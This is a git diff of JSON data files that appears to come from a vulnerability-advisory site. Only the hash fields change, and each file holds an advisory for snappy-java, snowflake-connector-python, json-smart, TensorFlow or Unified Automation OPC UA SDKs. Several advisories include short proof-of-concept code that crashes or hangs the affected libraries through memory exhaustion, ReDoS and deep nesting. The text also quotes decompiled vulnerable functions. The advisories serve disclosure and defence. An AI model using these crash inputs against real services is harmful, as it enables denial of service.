\n","description":"CVE-2023-34453, MEDIUM, snappy-java integer overflow in shuffle leads to DoS","date_published":"2023-06-19","xray_id":"XRAY-522076","vul_id":"CVE-2023-34453","severity":"medium","discovered_by":"Ori Hollander","last_updated":"2023-06-19","cvss":5.9}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/snappy-java-unchecked-chunk-length-dos-xray-522074/index.json b/assets/data/vulnerabilities/snappy-java-unchecked-chunk-length-dos-xray-522074/index.json index 37f0231d73..44ae8f2f2d 100644 --- a/assets/data/vulnerabilities/snappy-java-unchecked-chunk-length-dos-xray-522074/index.json +++ b/assets/data/vulnerabilities/snappy-java-unchecked-chunk-length-dos-xray-522074/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"snappy-java unchecked chunk length DoS","path":"/vulnerabilities/snappy-java-unchecked-chunk-length-dos-xray-522074/","content":"Summary
\nsnappy-java unchecked chunk length DoS
\nComponent
\norg.xerial.snappy:snappy-java
\nAffected versions
\n(,1.1.10.1)
\nDescription
\nsnappy-java is a fast compressor/decompressor for Java. Due to use of an unchecked chunk length, an unrecoverable fatal error can occur in versions prior to 1.1.10.1.
\nThe code in the function hasNextChunk in the fileSnappyInputStream.java checks if a given stream has more chunks to read. It does that by attempting to read 4 bytes. If it wasn't possible to read the 4 bytes, the function returns false. Otherwise, if 4 bytes were available, the code treats them as the length of the next chunk.
\nIn the case that the compressed variable is null, a byte array is allocated with the size given by the input data. Since the code doesn't test the legality of the chunkSize variable, it is possible to pass a negative number (such as 0xFFFFFFFF which is -1), which will cause the code to raise a java.lang.NegativeArraySizeException exception. A worse case would happen when passing a huge positive value (such as 0x7FFFFFFF), which would raise the fatal java.lang.OutOfMemoryError error.
Version 1.1.10.1 contains a patch for this issue.
\nPoC
\npackage org.example;\nimport org.xerial.snappy.SnappyInputStream;\n\nimport java.io.*;\n\npublic class Main {\n\n public static void main(String[] args) throws IOException {\n byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0x7f, (byte) 0xff, (byte) 0xff, (byte) 0xff};\n SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data));\n byte[] out = new byte[50];\n try {\n in.read(out);\n }\n catch (Exception ignored) {\n\n }\n }\n}\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n\n\nhttps://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea
\nhttps://github.com/xerial/snappy-java/security/advisories/GHSA-qcwq-55hx-v3vh
\n","description":"CVE-2023-34455, HIGH, snappy-java unchecked chunk length DoS","date_published":"2023-06-19","xray_id":"XRAY-522074","vul_id":"CVE-2023-34455","severity":"high","discovered_by":"Ori Hollander","last_updated":"2023-06-19","cvss":7.5}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"snappy-java unchecked chunk length DoS","path":"/vulnerabilities/snappy-java-unchecked-chunk-length-dos-xray-522074/","content":"Summary
\nsnappy-java unchecked chunk length DoS
\nComponent
\norg.xerial.snappy:snappy-java
\nAffected versions
\n(,1.1.10.1)
\nDescription
\nsnappy-java is a fast compressor/decompressor for Java. Due to use of an unchecked chunk length, an unrecoverable fatal error can occur in versions prior to 1.1.10.1.
\nThe code in the function hasNextChunk in the fileSnappyInputStream.java checks if a given stream has more chunks to read. It does that by attempting to read 4 bytes. If it wasn't possible to read the 4 bytes, the function returns false. Otherwise, if 4 bytes were available, the code treats them as the length of the next chunk.
\nIn the case that the compressed variable is null, a byte array is allocated with the size given by the input data. Since the code doesn't test the legality of the chunkSize variable, it is possible to pass a negative number (such as 0xFFFFFFFF which is -1), which will cause the code to raise a java.lang.NegativeArraySizeException exception. A worse case would happen when passing a huge positive value (such as 0x7FFFFFFF), which would raise the fatal java.lang.OutOfMemoryError error.
Version 1.1.10.1 contains a patch for this issue.
\nPoC
\npackage org.example;\nimport org.xerial.snappy.SnappyInputStream;\n\nimport java.io.*;\n\npublic class Main {\n\n public static void main(String[] args) throws IOException {\n byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0x7f, (byte) 0xff, (byte) 0xff, (byte) 0xff};\n SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data));\n byte[] out = new byte[50];\n try {\n in.read(out);\n }\n catch (Exception ignored) {\n\n }\n }\n}\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n\n\nhttps://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea
\nhttps://github.com/xerial/snappy-java/security/advisories/GHSA-qcwq-55hx-v3vh
\n","description":"CVE-2023-34455, HIGH, snappy-java unchecked chunk length DoS","date_published":"2023-06-19","xray_id":"XRAY-522074","vul_id":"CVE-2023-34455","severity":"high","discovered_by":"Ori Hollander","last_updated":"2023-06-19","cvss":7.5}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/snowflake-connector-python-redos-xray-257185/index.json b/assets/data/vulnerabilities/snowflake-connector-python-redos-xray-257185/index.json index dce7f38b22..50fef463b4 100644 --- a/assets/data/vulnerabilities/snowflake-connector-python-redos-xray-257185/index.json +++ b/assets/data/vulnerabilities/snowflake-connector-python-redos-xray-257185/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"snowflake-connector-python ReDoS","path":"/vulnerabilities/snowflake-connector-python-redos-xray-257185/","content":"Summary
\nExponential ReDoS in snowflake-connector-python leads to denial of service
\nComponent
\n\nAffected versions
\nsnowflake-connector-python (,2.8.1], Fixed in 2.8.2
\nDescription
\nAn exponential ReDoS (Regular Expression Denial of Service) can be triggered in the snowflake-connector-python PyPI package, when an attacker is able to supply arbitrary input to the undocumented get_file_transfer_type method.
PoC
\nimport time\nfrom snowflake.connector.cursor import SnowflakeCursor\n\nfor i in range(100):\n start_time = time.time()\n sql = '/**/\\n' + '\\t/*/get\\t*/\\t/**/\\n'*i + '\\t*/get\\n'\n SnowflakeCursor.get_file_transfer_type(sql)\n print(\"--- %s seconds ---\" % (time.time() - start_time))\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n\n","description":"CVE-2022-42965 Low severity. Exponential ReDoS in snowflake-connector-python leads to denial of service","date_published":"2022-10-15","xray_id":"XRAY-257185","vul_id":"CVE-2022-42965","severity":"low","discovered_by":"Denys Vozniuk","last_updated":"2022-11-20","cvss":3.7}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"snowflake-connector-python ReDoS","path":"/vulnerabilities/snowflake-connector-python-redos-xray-257185/","content":"Summary
\nExponential ReDoS in snowflake-connector-python leads to denial of service
\nComponent
\n\nAffected versions
\nsnowflake-connector-python (,2.8.1], Fixed in 2.8.2
\nDescription
\nAn exponential ReDoS (Regular Expression Denial of Service) can be triggered in the snowflake-connector-python PyPI package, when an attacker is able to supply arbitrary input to the undocumented get_file_transfer_type method.
PoC
\nimport time\nfrom snowflake.connector.cursor import SnowflakeCursor\n\nfor i in range(100):\n start_time = time.time()\n sql = '/**/\\n' + '\\t/*/get\\t*/\\t/**/\\n'*i + '\\t*/get\\n'\n SnowflakeCursor.get_file_transfer_type(sql)\n print(\"--- %s seconds ---\" % (time.time() - start_time))\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n\n","description":"CVE-2022-42965 Low severity. Exponential ReDoS in snowflake-connector-python leads to denial of service","date_published":"2022-10-15","xray_id":"XRAY-257185","vul_id":"CVE-2022-42965","severity":"low","discovered_by":"Denys Vozniuk","last_updated":"2022-11-20","cvss":3.7}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/stack-exhaustion-in-json-smart-leads-to-denial-of-service-when-parsing-malformed-json-xray-427633/index.json b/assets/data/vulnerabilities/stack-exhaustion-in-json-smart-leads-to-denial-of-service-when-parsing-malformed-json-xray-427633/index.json index 40cea7a14b..c7f829d576 100644 --- a/assets/data/vulnerabilities/stack-exhaustion-in-json-smart-leads-to-denial-of-service-when-parsing-malformed-json-xray-427633/index.json +++ b/assets/data/vulnerabilities/stack-exhaustion-in-json-smart-leads-to-denial-of-service-when-parsing-malformed-json-xray-427633/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"json-smart Stack exhaustion DoS","path":"/vulnerabilities/stack-exhaustion-in-json-smart-leads-to-denial-of-service-when-parsing-malformed-json-xray-427633/","content":"Summary
\nStack exhaustion in json-smart leads to denial of service when parsing malformed JSON
\nComponent
\nnet.minidev:json-smart
\nAffected versions
\n(,2.4.9)
\nDescription
\nJson-smart is a performance focused, JSON processor lib.\nWhen reaching a [ or { character in the JSON input, the code parses an array or an object respectively.\nIt was discovered that the code does not have any limit to the nesting of such arrays or objects. Since the parsing of nested arrays and objects is done recursively, nesting too many of them can cause a stack exhaustion (stack overflow) and crash the software.
PoC
\nThe following code will raise a StackOverflowError:
StringBuilder s = new StringBuilder();\nfor (int i = 0; i < 10000 ; i++) {\n s.append(\"{\\\"a\\\":\");\n}\ns.append(\"1\");\nfor (int i = 0; i < 10000 ; i++) {\n s.append(\"}\");\n}\nJSONParser p = new JSONParser(JSONParser.MODE_JSON_SIMPLE);\np.parse(s.toString());\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n\n","description":"CVE-2023-1370 High severity. Stack exhaustion in json-smart leads to denial of service when parsing malformed JSON","date_published":"2023-03-13","xray_id":"XRAY-427633","vul_id":"CVE-2023-1370","severity":"high","discovered_by":"Ori Hollander","last_updated":"2023-03-13","cvss":7.5}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"json-smart Stack exhaustion DoS","path":"/vulnerabilities/stack-exhaustion-in-json-smart-leads-to-denial-of-service-when-parsing-malformed-json-xray-427633/","content":"Summary
\nStack exhaustion in json-smart leads to denial of service when parsing malformed JSON
\nComponent
\nnet.minidev:json-smart
\nAffected versions
\n(,2.4.9)
\nDescription
\nJson-smart is a performance focused, JSON processor lib.\nWhen reaching a [ or { character in the JSON input, the code parses an array or an object respectively.\nIt was discovered that the code does not have any limit to the nesting of such arrays or objects. Since the parsing of nested arrays and objects is done recursively, nesting too many of them can cause a stack exhaustion (stack overflow) and crash the software.
PoC
\nThe following code will raise a StackOverflowError:
StringBuilder s = new StringBuilder();\nfor (int i = 0; i < 10000 ; i++) {\n s.append(\"{\\\"a\\\":\");\n}\ns.append(\"1\");\nfor (int i = 0; i < 10000 ; i++) {\n s.append(\"}\");\n}\nJSONParser p = new JSONParser(JSONParser.MODE_JSON_SIMPLE);\np.parse(s.toString());\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n\n","description":"CVE-2023-1370 High severity. Stack exhaustion in json-smart leads to denial of service when parsing malformed JSON","date_published":"2023-03-13","xray_id":"XRAY-427633","vul_id":"CVE-2023-1370","severity":"high","discovered_by":"Ori Hollander","last_updated":"2023-03-13","cvss":7.5}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/tensorflow-python-code-injection-xray-189178/index.json b/assets/data/vulnerabilities/tensorflow-python-code-injection-xray-189178/index.json index 3178072635..c88493ea0b 100644 --- a/assets/data/vulnerabilities/tensorflow-python-code-injection-xray-189178/index.json +++ b/assets/data/vulnerabilities/tensorflow-python-code-injection-xray-189178/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"TensorFlow Python code injection","path":"/vulnerabilities/tensorflow-python-code-injection-xray-189178/","content":"Summary
\nInsufficient input validation in TensorFlow allows an attacker to perform Python code injection when processing a malicious command line argument
\nComponent
\n\nAffected versions
\nTensorFlow [2.4.0, 2.4.4), fixed in 2.4.4
\nTensorFlow [2.5.0 ,2.5.2), fixed in 2.5.2
\nTensorFlow [2.6.0, 2.6.1), fixed in 2.6.1
\nDescription
\nTensorFlow is a popular Machine Learning platform that's well-known and widely used in the industry.
\nA code injection issue has been found in one of the tools shipped with TensorFlow, called saved_model_cli. This tool is used to save a ML model's state.
An attacker that can control the contents of the --input_examples argument, can provide a malicious input that runs arbitrary Python code, since the argument flows directly into eval().
PoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nRemove the saved_model_cli tool from your image
References
\n(JFrog) New code injection vulnerability discovered in TensorFlow
\n\n","description":"CVE-2021-41228 High severity. Insufficient input validation in TensorFlow allows an attacker to perform Python code injection when processing a malicious command line argument","date_published":"2021-11-16","xray_id":"XRAY-189178","vul_id":"CVE-2021-41228","severity":"high","discovered_by":"Omer Kaspi","last_updated":"2021-11-16","cvss":7.8}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"TensorFlow Python code injection","path":"/vulnerabilities/tensorflow-python-code-injection-xray-189178/","content":"Summary
\nInsufficient input validation in TensorFlow allows an attacker to perform Python code injection when processing a malicious command line argument
\nComponent
\n\nAffected versions
\nTensorFlow [2.4.0, 2.4.4), fixed in 2.4.4
\nTensorFlow [2.5.0 ,2.5.2), fixed in 2.5.2
\nTensorFlow [2.6.0, 2.6.1), fixed in 2.6.1
\nDescription
\nTensorFlow is a popular Machine Learning platform that's well-known and widely used in the industry.
\nA code injection issue has been found in one of the tools shipped with TensorFlow, called saved_model_cli. This tool is used to save a ML model's state.
An attacker that can control the contents of the --input_examples argument, can provide a malicious input that runs arbitrary Python code, since the argument flows directly into eval().
PoC
\nNo PoC is supplied for this issue
\nVulnerability Mitigations
\nRemove the saved_model_cli tool from your image
References
\n(JFrog) New code injection vulnerability discovered in TensorFlow
\n\n","description":"CVE-2021-41228 High severity. Insufficient input validation in TensorFlow allows an attacker to perform Python code injection when processing a malicious command line argument","date_published":"2021-11-16","xray_id":"XRAY-189178","vul_id":"CVE-2021-41228","severity":"high","discovered_by":"Omer Kaspi","last_updated":"2021-11-16","cvss":7.8}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/ua-cpp-replaceargs-oob-write-xray-75751/index.json b/assets/data/vulnerabilities/ua-cpp-replaceargs-oob-write-xray-75751/index.json index 25fa04d3f2..8f2aea51ac 100644 --- a/assets/data/vulnerabilities/ua-cpp-replaceargs-oob-write-xray-75751/index.json +++ b/assets/data/vulnerabilities/ua-cpp-replaceargs-oob-write-xray-75751/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"Unified Automation PubSub stack authenticated out-of-bounds write","path":"/vulnerabilities/ua-cpp-replaceargs-oob-write-xray-75751/","content":"Summary
\nThe replaceArgEscapes() function in Unified Automation C-based PubSub Stack is vulnerable to an out of bounds write issue. An authenticated remote attacker can cause denial of service or in some cases achieve remote code execution
Component
\nUnified Automation C++ Based OPC UA PubSub SDK\n
\nAffected versions
\nUnified Automation C++ based OPC UA Client Server SDK (, 1.7.6], fixed in 1.7.7\nUnified Automation AnsiC SDK (, 1.9.2], fixed in 1.9.3\nUnified Automation HighPerf SDK (, 1.5.2], fixed in 1.6.0
\nDescription
\nUnified Automation is a Bundle used to develop an OPC UA PubSub support in C++ and C, Developed by the Unified Automation.
\nString::arg() takes a string input and replaces every %1 , %2 (and so on) with an argument.\nThere are some uses in this function that looks like this:\n“%1.%2”.arg(s1).arg(s2)\nIf s1 itself contains %1 then the next arg() call will paste s2 where originally s1 should have been placed.
UaString::arg() calls findArgEscapes(ArgEscapeData *d, const UaString *s) which sets d->occurences to the number of the lowest argument id in the format string (i.e for “%1%1%2” the function will count only the “%1” in the string) and sets d->escape_len to the accumulated length of all of the arguments in the string (in the previous example it will be 4).\nLater, UaString::arg() will call replaceArgEscapes() in order to replace the lowest argument id with the given argument string.\nreplaceArgEscapes() will allocate a buffer that should be big enough to contain the string after the replacements:
UaString *replaceArgEscapes(UaString *result, const UaString *fmt_string, const ArgEscapeData *d, int field_width, const UaString *arg, const UaChar *fillChar)\n{\n //..\nv__field_width_abs = uaAbs<int>(&field_width);\nv__fmt_string_size = UaString::size((UaString *)fmt_string);\nv__arg_size = UaString::size((UaString *)arg);\nv__size_without_escape_len = v__fmt_string_size - d->escape_len;\nlen = *uaMax<int>(&v__field_width_abs, &v__arg_size) * d->occurrences +\nv__size_without_escape_len;\nbuf = (char *)OpcUa_Memory_Alloc(len + 1);\nThere is an integer overflow in this code. It calculates the required allocation size in this way:\nmax(abs(field_width), arg_size) * d->occurences + (fmt_string_size - d->escape_len)\nWhere the result will be assigned to an unsigned integer.\nThis calculation might lead to an integer overflow when this parameters are big numbers, for example if the format string is 0x10000 times “%1”, arg_size is 0x10001 bytes long and field_width is 1 bytes then d->occurrences will be 0x10000, the fmt_string_size will be 0x20000 and d->escape_len will be also 0x20000. These numbers brings the result of 0x10001*0x10000 + 0 = 0x10000. This will result in a buffer with a size that is smaller than expected.
Later, replaceArgEscapes() will copy the format string to the allocated buffer, where for each argument slot (“%1”) it will write the argument string. This will lead to write of the allocated buffer bounds and in certain cases also to remote code execution.
PoC
\nNo PoC is supplied for this issue\n
\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n","description":"High severity. The replaceArgEscapes() function in Unified Automation C-based PubSub Stack is vulnerable to an out of bounds write issue. An authenticated remote attacker can cause denial of service or in some cases achieve remote code execution","date_published":"2022-06-01","xray_id":"XRAY-75751","vul_id":"","severity":"high","discovered_by":"Omer Kaspi","last_updated":"2022-06-01","cvss":null}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"Unified Automation PubSub stack authenticated out-of-bounds write","path":"/vulnerabilities/ua-cpp-replaceargs-oob-write-xray-75751/","content":"Summary
\nThe replaceArgEscapes() function in Unified Automation C-based PubSub Stack is vulnerable to an out of bounds write issue. An authenticated remote attacker can cause denial of service or in some cases achieve remote code execution
Component
\nUnified Automation C++ Based OPC UA PubSub SDK\n
\nAffected versions
\nUnified Automation C++ based OPC UA Client Server SDK (, 1.7.6], fixed in 1.7.7\nUnified Automation AnsiC SDK (, 1.9.2], fixed in 1.9.3\nUnified Automation HighPerf SDK (, 1.5.2], fixed in 1.6.0
\nDescription
\nUnified Automation is a Bundle used to develop an OPC UA PubSub support in C++ and C, Developed by the Unified Automation.
\nString::arg() takes a string input and replaces every %1 , %2 (and so on) with an argument.\nThere are some uses in this function that looks like this:\n“%1.%2”.arg(s1).arg(s2)\nIf s1 itself contains %1 then the next arg() call will paste s2 where originally s1 should have been placed.
UaString::arg() calls findArgEscapes(ArgEscapeData *d, const UaString *s) which sets d->occurences to the number of the lowest argument id in the format string (i.e for “%1%1%2” the function will count only the “%1” in the string) and sets d->escape_len to the accumulated length of all of the arguments in the string (in the previous example it will be 4).\nLater, UaString::arg() will call replaceArgEscapes() in order to replace the lowest argument id with the given argument string.\nreplaceArgEscapes() will allocate a buffer that should be big enough to contain the string after the replacements:
UaString *replaceArgEscapes(UaString *result, const UaString *fmt_string, const ArgEscapeData *d, int field_width, const UaString *arg, const UaChar *fillChar)\n{\n //..\nv__field_width_abs = uaAbs<int>(&field_width);\nv__fmt_string_size = UaString::size((UaString *)fmt_string);\nv__arg_size = UaString::size((UaString *)arg);\nv__size_without_escape_len = v__fmt_string_size - d->escape_len;\nlen = *uaMax<int>(&v__field_width_abs, &v__arg_size) * d->occurrences +\nv__size_without_escape_len;\nbuf = (char *)OpcUa_Memory_Alloc(len + 1);\nThere is an integer overflow in this code. It calculates the required allocation size in this way:\nmax(abs(field_width), arg_size) * d->occurences + (fmt_string_size - d->escape_len)\nWhere the result will be assigned to an unsigned integer.\nThis calculation might lead to an integer overflow when this parameters are big numbers, for example if the format string is 0x10000 times “%1”, arg_size is 0x10001 bytes long and field_width is 1 bytes then d->occurrences will be 0x10000, the fmt_string_size will be 0x20000 and d->escape_len will be also 0x20000. These numbers brings the result of 0x10001*0x10000 + 0 = 0x10000. This will result in a buffer with a size that is smaller than expected.
Later, replaceArgEscapes() will copy the format string to the allocated buffer, where for each argument slot (“%1”) it will write the argument string. This will lead to write of the allocated buffer bounds and in certain cases also to remote code execution.
PoC
\nNo PoC is supplied for this issue\n
\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n","description":"High severity. The replaceArgEscapes() function in Unified Automation C-based PubSub Stack is vulnerable to an out of bounds write issue. An authenticated remote attacker can cause denial of service or in some cases achieve remote code execution","date_published":"2022-06-01","xray_id":"XRAY-75751","vul_id":"","severity":"high","discovered_by":"Omer Kaspi","last_updated":"2022-06-01","cvss":null}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/ua-cpp-ua-extensionobject-type-confusion-xray-75752/index.json b/assets/data/vulnerabilities/ua-cpp-ua-extensionobject-type-confusion-xray-75752/index.json index cf4f5145d7..64b01ad201 100644 --- a/assets/data/vulnerabilities/ua-cpp-ua-extensionobject-type-confusion-xray-75752/index.json +++ b/assets/data/vulnerabilities/ua-cpp-ua-extensionobject-type-confusion-xray-75752/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"Unified Automation PubSub stack ua_decode_extensionobject type confusion","path":"/vulnerabilities/ua-cpp-ua-extensionobject-type-confusion-xray-75752/","content":"Summary
\nThe ua_decode_extensionobject() function in Unified Automation C based PubSub Stack is vulnerable to type confusion which can allow a remote authenticated attacker to achieve denial of service and arbitrary read
\nComponent
\nUnified Automation C++ Based OPC UA PubSub SDK\nUnified Automation ANSI C Based OPC UA Client & Server SDK\nUnified Automation HighPerf SDK\n
\nAffected versions
\nUnified Automation C++ based OPC UA Client Server SDK (, 1.7.6], fixed in 1.7.7\nUnified Automation AnsiC SDK (, 1.9.2], fixed in 1.9.3\nUnified Automation HighPerf SDK (, 1.5.2], fixed in 1.6.0
\nDescription
\nUnified Automation is a Bundle used to develop an OPC UA PubSub support in C++ and C, Developed by the Unified Automation.
\nThe ua_decocde_extensionobject function may be vulnerable to a type confusion vulnerability:
int __cdecl ua_decode_extensionobject(int *a1, void *a2)\n{\n const char *v3; // eax\n char v4[12]; // [esp+Ch] [ebp-20h]\n char **v5; // [esp+18h] [ebp-14h]\n Int type_id; // [esp+23h] [ebp-9h]\n int v7; // [esp+28h] [ebp-4h]\n\n v5 = 0;\n j__ua_nodeid_init(a2);\n v7 = j__ua_decode_nodeid(a1, a2 + 12);\n if ( v7 )\n return v7;\n v7 = j__ua_decode_uint8(a1, type_id);\n if ( !v7 )\n {\n *(a2 + 6) = 0;\n *(a2 + 14) = 0;\n if ( !j__ua_nodeid_is_null(a2 + 12) )\n {\n v5 = j__ua_type_table_lookup_binary_encoding(a2 + 12, a2 + 6);\n if ( v5 )\n {\n j__ua_nodeid_set_numeric(a2, *(a2 + 10), v5[3]);\n *(a2 + 14) = *(a2 + 10);\n }\n else\n {\n j__trace_log(64, 16, aUaDecodeExtens, *(a2 + 10));\n…\n }\n }\n switch ( type_id )\n {\n case 0:\n *(a2 + 10) = 0;\n return 0;\n case 1:\n if ( v5 )\n {\n v7 = ua_decode_encodeableobject(a1, v5, a2);\n if ( !v7 )\n return 0;\n }\n else\n {\n v7 = j__ua_decode_bytestring(a1, a2 + 32);\n if ( !v7 )\n {\n *(a2 + 10) = 2;\n return 0;\n }\n }\n break;\n…\n }\n }\n\n…\n }\n }\n…\n return v7;\n}\nThe function uses a2 + 12 to store the node id on the parsed extension object, it then tries to search it in namespace using j__ua_type_table_lookup_binary_encoding if it fails to find it and the object’s type_id is 1 which is binary encoding, it parses the object as bytestring.\nFurther down the execution path of the pubsub SDK, the SDK’s functions treat this object as valid which can cause unexpected behavior, we managed to crash the server using a malicous pubsub configuration by making the pubsub SDK to treat the length field of the bytestring as a pointer in w_cfg = (ua_uadpdatasetwritermessagedatatype *)w->config_object->message_settings.body.obj in function writergroup_datasetmsg_init_order\nGiven a big enough string this can cause arbitrary read from any location in memory by treating the length field as pointer
PoC
\nNo PoC is supplied for this issue\n
\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n","description":"CVE-2022-xxxx Medium severity. The ua_decode_extensionobject() function in Unified Automation C based PubSub Stack is vulnerable to type confusion issue which can allow a remote authenticated attacker to achieve denial of service and arbitrary read","date_published":"2022-06-01","xray_id":"XRAY-75752","vul_id":"","severity":"medium","discovered_by":"Omer Kaspi","last_updated":"2022-06-01","cvss":null}},"context":{}} \ No newline at end of file +{"hash":"685c32df4e057b2d59a165f3268328c42e88b45c","data":{"post":{"title":"Unified Automation PubSub stack ua_decode_extensionobject type confusion","path":"/vulnerabilities/ua-cpp-ua-extensionobject-type-confusion-xray-75752/","content":"Summary
\nThe ua_decode_extensionobject() function in Unified Automation C based PubSub Stack is vulnerable to type confusion which can allow a remote authenticated attacker to achieve denial of service and arbitrary read
\nComponent
\nUnified Automation C++ Based OPC UA PubSub SDK\nUnified Automation ANSI C Based OPC UA Client & Server SDK\nUnified Automation HighPerf SDK\n
\nAffected versions
\nUnified Automation C++ based OPC UA Client Server SDK (, 1.7.6], fixed in 1.7.7\nUnified Automation AnsiC SDK (, 1.9.2], fixed in 1.9.3\nUnified Automation HighPerf SDK (, 1.5.2], fixed in 1.6.0
\nDescription
\nUnified Automation is a Bundle used to develop an OPC UA PubSub support in C++ and C, Developed by the Unified Automation.
\nThe ua_decocde_extensionobject function may be vulnerable to a type confusion vulnerability:
int __cdecl ua_decode_extensionobject(int *a1, void *a2)\n{\n const char *v3; // eax\n char v4[12]; // [esp+Ch] [ebp-20h]\n char **v5; // [esp+18h] [ebp-14h]\n Int type_id; // [esp+23h] [ebp-9h]\n int v7; // [esp+28h] [ebp-4h]\n\n v5 = 0;\n j__ua_nodeid_init(a2);\n v7 = j__ua_decode_nodeid(a1, a2 + 12);\n if ( v7 )\n return v7;\n v7 = j__ua_decode_uint8(a1, type_id);\n if ( !v7 )\n {\n *(a2 + 6) = 0;\n *(a2 + 14) = 0;\n if ( !j__ua_nodeid_is_null(a2 + 12) )\n {\n v5 = j__ua_type_table_lookup_binary_encoding(a2 + 12, a2 + 6);\n if ( v5 )\n {\n j__ua_nodeid_set_numeric(a2, *(a2 + 10), v5[3]);\n *(a2 + 14) = *(a2 + 10);\n }\n else\n {\n j__trace_log(64, 16, aUaDecodeExtens, *(a2 + 10));\n…\n }\n }\n switch ( type_id )\n {\n case 0:\n *(a2 + 10) = 0;\n return 0;\n case 1:\n if ( v5 )\n {\n v7 = ua_decode_encodeableobject(a1, v5, a2);\n if ( !v7 )\n return 0;\n }\n else\n {\n v7 = j__ua_decode_bytestring(a1, a2 + 32);\n if ( !v7 )\n {\n *(a2 + 10) = 2;\n return 0;\n }\n }\n break;\n…\n }\n }\n\n…\n }\n }\n…\n return v7;\n}\nThe function uses a2 + 12 to store the node id on the parsed extension object, it then tries to search it in namespace using j__ua_type_table_lookup_binary_encoding if it fails to find it and the object’s type_id is 1 which is binary encoding, it parses the object as bytestring.\nFurther down the execution path of the pubsub SDK, the SDK’s functions treat this object as valid which can cause unexpected behavior, we managed to crash the server using a malicous pubsub configuration by making the pubsub SDK to treat the length field of the bytestring as a pointer in w_cfg = (ua_uadpdatasetwritermessagedatatype *)w->config_object->message_settings.body.obj in function writergroup_datasetmsg_init_order\nGiven a big enough string this can cause arbitrary read from any location in memory by treating the length field as pointer
PoC
\nNo PoC is supplied for this issue\n
\nVulnerability Mitigations
\nNo mitigations are supplied for this issue
\nReferences
\n","description":"CVE-2022-xxxx Medium severity. The ua_decode_extensionobject() function in Unified Automation C based PubSub Stack is vulnerable to type confusion issue which can allow a remote authenticated attacker to achieve denial of service and arbitrary read","date_published":"2022-06-01","xray_id":"XRAY-75752","vul_id":"","severity":"medium","discovered_by":"Omer Kaspi","last_updated":"2022-06-01","cvss":null}},"context":{}} \ No newline at end of file diff --git a/assets/data/vulnerabilities/ua-cpp-ua-int32-null-deref-xray-75753/index.json b/assets/data/vulnerabilities/ua-cpp-ua-int32-null-deref-xray-75753/index.json index 6ad0967fec..f6f5890ac0 100644 --- a/assets/data/vulnerabilities/ua-cpp-ua-int32-null-deref-xray-75753/index.json +++ b/assets/data/vulnerabilities/ua-cpp-ua-int32-null-deref-xray-75753/index.json @@ -1 +1 @@ -{"hash":"0f0042d6adeeb0b75ab91d0d866ecfcfcfe810a2","data":{"post":{"title":"Unified Automation PubSub stack NULL dereference DoS","path":"/vulnerabilities/ua-cpp-ua-int32-null-deref-xray-75753/","content":"Summary
\nThe UaInt32Array::create() function in Unified Automation C based PubSub Stack is vulnerable to NULL dereference which can allow a remote attacker to cause denial of service
\nComponent
\nUnified Automation C++ Based OPC UA PubSub SDK\nUnified Automation ANSI C Based OPC UA Client & Server SDK\nUnified Automation HighPerf SDK
\nAffected versions
\nUnified Automation C++ based OPC UA Client Server SDK (, 1.7.6], fixed in 1.7.7\nUnified Automation AnsiC SDK (, 1.9.2], fixed in 1.9.3\nUnified Automation HighPerf SDK (, 1.5.2], fixed in 1.6.0
\nDescription
\nUnified Automation is a Bundle used to develop an OPC UA PubSub support in C++ and C, Developed by the Unified Automation.
\nThere is a possible NULL deref in UaInt32Array::create():
